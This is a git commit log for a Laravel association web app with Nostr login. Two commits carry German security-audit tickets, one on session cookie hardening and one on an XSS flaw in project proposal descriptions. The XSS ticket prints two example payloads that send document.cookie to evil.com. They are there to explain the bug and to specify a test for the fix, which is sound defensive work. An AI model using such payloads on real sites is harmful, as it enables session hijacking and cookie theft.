Commit Graph

28 Commits

Author SHA1 Message Date
vk
058612dbe6 [P1 Security] Session Security Hardening – Encryption & Secure Cookies (vibe-kanban 48c2078b)
## Security Audit: Session-Konfiguration härten

### Problem
Die aktuelle `.env.example` hat unsichere Session-Defaults:

```env
SESSION_ENCRYPT=false      # Session-Daten unverschlüsselt in der DB
SESSION_SECURE_COOKIE=     # Nicht gesetzt – Cookie wird auch über HTTP gesendet
SESSION_DOMAIN=null         # Nicht eingeschränkt
```

Da die App eine Custom Nostr-basierte Auth verwendet (`app/Auth/NostrSessionGuard.php`) und der `pubkey` in der Session gespeichert wird, ist die Session ein attraktives Angriffsziel. Unverschlüsselte Sessions in der Datenbank bedeuten, dass ein DB-Leak sofort alle aktiven Sessions kompromittiert.

### Lösung

**1. `.env.example` aktualisieren:**

```env
SESSION_ENCRYPT=true
SESSION_SECURE_COOKIE=true
```

**2. Session-Config in `config/session.php` prüfen:**

Falls `config/session.php` nicht existiert (Laravel 12 Slim-Struktur), muss die Config ggf. mit `php artisan config:publish session` veröffentlicht werden. Prüfe ob die folgenden Werte korrekt gesetzt sind:

```php
'encrypt' => env('SESSION_ENCRYPT', true),        // Default auf true ändern
'secure' => env('SESSION_SECURE_COOKIE', true),    // Default auf true ändern
'http_only' => true,                                // Bereits Standard
'same_site' => 'lax',                               // Bereits Standard
```

**3. Cookie-Sicherheit:**
- `http_only` verhindert JavaScript-Zugriff auf Session-Cookies (Schutz gegen XSS-Cookie-Theft)
- `secure` erzwingt HTTPS-only Übertragung
- `same_site: lax` schützt gegen CSRF bei Top-Level-Navigation

### Betroffene Dateien
- `.env.example` – Default-Werte aktualisieren
- `config/session.php` – Falls vorhanden, Defaults härten. Falls nicht vorhanden, mit `php artisan config:publish session` erstellen und anpassen

### Vorgehen
1. Prüfe ob `config/session.php` existiert (bei Laravel 12 ist es möglicherweise nicht veröffentlicht)
2. Falls nicht vorhanden: `php artisan config:publish session --no-interaction`
3. Sichere Defaults setzen (encrypt=true, secure=true)
4. `.env.example` aktualisieren
5. Einen Pest-Test schreiben, der verifiziert dass Session-Cookies die korrekten Flags haben (secure, httpOnly, sameSite)
6. `vendor/bin/pint --dirty` und `php artisan test --compact`

### Hinweis
- In der lokalen Entwicklung (`APP_ENV=local`) kann `SESSION_SECURE_COOKIE=false` gesetzt werden, damit HTTP funktioniert
- Der Default in der Config sollte aber `true` sein, damit Produktion abgesichert ist
- Die `.env` Datei selbst wird NICHT bearbeitet (nur `.env.example`)

### Akzeptanzkriterien
- `SESSION_ENCRYPT=true` als Default in `.env.example`
- `SESSION_SECURE_COOKIE=true` als Default in `.env.example`
- Session-Config verwendet sichere Defaults
- Tests verifizieren Cookie-Sicherheitsflags
- Lokale Entwicklung bleibt funktional (über `.env` Override)
2026-02-11 23:19:31 +01:00
vk
af3090e694 [P0 Security] XSS-Schutz – Sanitize ProjectProposal Description Output (vibe-kanban a733735a)
## Security Audit: Cross-Site Scripting (XSS) in ProjectProposal Description

### Problem
In `resources/views/livewire/association/project-support/show.blade.php` Zeile 111 wird User-generierter Content **unescaped** ausgegeben:

```blade
<x-markdown>
    {!! $projectProposal->description !!}
</x-markdown>
```

**Angriffsvektor:** Jeder authentifizierte User mit `association_status > 1` und bezahlter Mitgliedschaft kann über `resources/views/livewire/association/project-support/form/create.blade.php` einen ProjectProposal erstellen. Das Feld `description` wird nur mit `required|string|min:5` validiert – kein HTML-Sanitizing. Ein Angreifer kann beliebiges JavaScript injizieren:

```html
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
<img src=x onerror="fetch('https://evil.com/'+document.cookie)">
```

Die App nutzt Spatie's `laravel-markdown` (League\CommonMark), das standardmäßig inline HTML **nicht** filtert.

### Lösung

**Option A (empfohlen): HTML Purifier im Markdown-Renderer konfigurieren**
1. In `config/markdown.php` die CommonMark-Konfiguration anpassen, um `allow_unsafe_links` auf `false` zu setzen und `html_input` auf `'escape'` oder `'strip'`
2. Prüfe die aktuelle `config/markdown.php` – dort wird der `Spatie\LaravelMarkdown\MarkdownRenderer` konfiguriert
3. Setze in der CommonMark-Konfiguration:
   ```php
   'commonmark' => [
       'html_input' => 'escape', // oder 'strip' – verhindert rohen HTML-Output
       'allow_unsafe_links' => false,
   ],
   ```

**Option B: Input-Sanitization bei Speicherung**
1. In `app/Livewire/Forms/ProjectProposalForm.php` (oder dem Create-Component) vor dem Speichern den HTML-Content mit `strip_tags()` oder besser einem HTML Purifier bereinigen
2. Das Flux `<flux:editor>` Component erzeugt möglicherweise gültiges HTML – prüfe, welches Format in der DB gespeichert wird

**Option C: Output-Escaping**
1. Ersetze `{!! $projectProposal->description !!}` durch `{{ $projectProposal->description }}` wenn nur Plain-Text benötigt wird
2. Falls Markdown benötigt wird, nutze die sichere Markdown-Rendering-Pipeline

### Betroffene Dateien
- `resources/views/livewire/association/project-support/show.blade.php:111` – XSS-Output
- `resources/views/livewire/association/project-support/form/create.blade.php` – Input ohne Sanitization
- `app/Livewire/Forms/ProjectProposalForm.php` – Validation Rules (falls vorhanden)
- `config/markdown.php` – CommonMark Konfiguration

### Zusätzlich prüfen
Scanne alle anderen `{!! !!}` Stellen in `resources/views/livewire/` (NICHT in `resources/views/flux/` – das sind Framework-Dateien). Aktuell ist nur `show.blade.php:111` betroffen, aber prüfe ob es weitere gibt.

### Vorgehen
1. `config/markdown.php` lesen und die CommonMark-Config auf `'html_input' => 'escape'` setzen
2. Prüfen, ob die Änderung den gewünschten Effekt hat (Markdown wird gerendert, HTML wird escaped)
3. Einen Pest Browser-Test oder Feature-Test schreiben, der verifiziert, dass `<script>` Tags in der Description escaped werden
4. `vendor/bin/pint --dirty` ausführen
5. Bestehende Tests laufen lassen

### Akzeptanzkriterien
- `<script>` und andere HTML-Tags in ProjectProposal descriptions werden escaped oder gestrippt
- Markdown-Formatierung (Bold, Links, Listen) funktioniert weiterhin
- Ein Test verifiziert, dass XSS-Payloads nicht ausgeführt werden
- Keine Regression in der Darstellung bestehender Proposals
2026-02-11 21:13:36 +01:00
HolgerHatGarKeineNode
1a73912dd9 🔒 Update media routes to support private disk and enhance file handling
- 🗂️ Change default filesystem disk from `local` to `private` in configuration
- 📤 Use `Storage::disk` for media download and response functionality
- ⚙️ Refactor download and file response logic for improved security and consistency
2026-01-25 19:45:12 +01:00
HolgerHatGarKeineNode
4b9ad0f6ab Refactor NIP-05 verification: extract handle-fetching logic into reusable NostrFetcherTrait and enhance UI to display all verified handles with improved feedback. 2026-01-23 17:09:00 +01:00
HolgerHatGarKeineNode
b090336c4f 🛠️ Refactor migrations, models, configs, and Blade files to apply consistent formatting, remove unnecessary lines, and improve readability. 2026-01-18 19:50:04 +01:00
HolgerHatGarKeineNode
30e78711c9 Add reusable Blade components for inputs and layouts: FilePond, navigation groups, and notification buttons 2026-01-18 13:23:20 +01:00
HolgerHatGarKeineNode
087b7a4997 🗑️ Remove Pulse and Sanctum configuration files due to deprecation
🛠️ Upgrade to Laravel 12 and update dependencies, including `laravel-echo` and `pusher-js`
🗑️ Remove `laravel/folio` package and related configurations
2026-01-18 00:50:27 +01:00
HolgerHatGarKeineNode
0abbe69868 🗑️ Remove election-related blade files no longer in use 2026-01-17 23:26:05 +01:00
user
9c1cea5868 🔒 Add Nostr authentication support with custom guard and user provider
🛠️ Integrate Nostr auth across relevant components and views
📦 Update config, routes, and service provider for Nostr auth
2025-11-20 23:10:20 +01:00
fsociety
28d7843640 🎉 **feat(localization)**: add multi-language support for backup notifications in various languages. 2024-10-25 20:28:43 +02:00
fsociety
3055bfa196 🎨 feat(notification): add private disk for PDF uploads and update download route with signed URL. 2024-10-25 20:06:19 +02:00
fsociety
f600c7983c 🚀 feat(dependencies): add spatie/laravel-ciphersweet package for encryption support
 feat(profile): integrate email and fax fields in association profile

🆕 feat(migrations): create blind_indexes table for encrypted data

🔧 feat(model): implement CipherSweet in EinundzwanzigPleb for email encryption

🔧 config: add ciphersweet configuration file for encryption settings

🗄️ migration: add email field to einundzwanzig_plebs table for user data
2024-10-25 16:15:28 +02:00
fsociety
89e50269c5 🎨 feat(seo): update SEO metadata for project support and profile pages
 feat(seo): set site name, favicon, and fallback descriptions in SEO config

🛠️ fix(election): correct indentation and formatting in election view files
2024-10-25 12:10:49 +02:00
fsociety
05773cb5b3 🎉 feat(seo): add Laravel SEO package and create SEO migration for better site optimization. 2024-10-24 19:18:30 +02:00
fsociety
06c43501a0 🎉 feat(project-support): update project support links and implement voting functionality with reasons for rejection. 2024-10-24 19:02:17 +02:00
fsociety
6eaba91e9e 🚀 **feat(payment): integrate BTC Pay for invoice handling and remove QR code dependencies** 2024-10-24 16:38:20 +02:00
fsociety
9016663929 feat(markdown): add spatie/laravel-markdown for enhanced markdown rendering and code highlighting 2024-10-23 18:29:02 +02:00
fsociety
a16249f37a 🎉 feat(sentry): add Sentry Laravel SDK configuration for error monitoring and performance tracking. 2024-10-09 13:13:50 +02:00
fsociety
adfeb365bf feat(config/reverb): update app credentials in reverb config file 2024-10-02 14:01:43 +02:00
fsociety
33b5c9068e feat(config): add test configuration to reverb.php 2024-10-02 13:56:19 +02:00
fsociety
4568d9e402 feat: add voting feature toggle
This commit introduces a new feature toggle 'voting' to enable/disable voting. It also includes minor formatting adjustments in election admin blade files.
2024-09-30 20:27:18 +02:00
fsociety
e0a34d9376 feat: add QR code generator and Nostr event handling
- Added the `simplesoftwareio/simple-qrcode` package to the project
- Created a new JavaScript file `nostrZap.js` to handle Nostr events
- Added the `nostrZap` function to the Alpine.js data property in `app.js`
- Updated the `services.php` configuration file to include the `nostr` environment variable
- Created a new database migration to add a `payment_event` field to the `einundzwanzig_plebs` table
- Made adjustments in the `Election:year.blade.php` view file to handle potential null values
- Updated `composer.lock` and `package.json` with the new dependencies
2024-09-30 14:46:30 +02:00
fsociety
a4052b1ed5 feat: replace hardcoded relay URL with config variable
This commit replaces hardcoded relay server URL with a configuration variable in services.php. The relay URL is now fetched from the environment variable NOSTR_RELAY. This change has been made in the files Election:year.blade.php and admin/Election:year.blade.php under association/election directory.
2024-09-29 19:38:26 +02:00
fsociety
dd2b5bf3c2 change db config 2024-09-29 18:28:29 +02:00
fsociety
c2f0014a8e add members table 2024-09-29 18:21:09 +02:00
fsociety
354680f702 voting system with nostr added 2024-09-29 01:02:04 +02:00
fsociety
a0ef037b2d first copies from portal 2024-09-04 19:37:46 +02:00
fsociety
0769adfba3 Set up a fresh Laravel app 2024-08-29 13:36:49 +02:00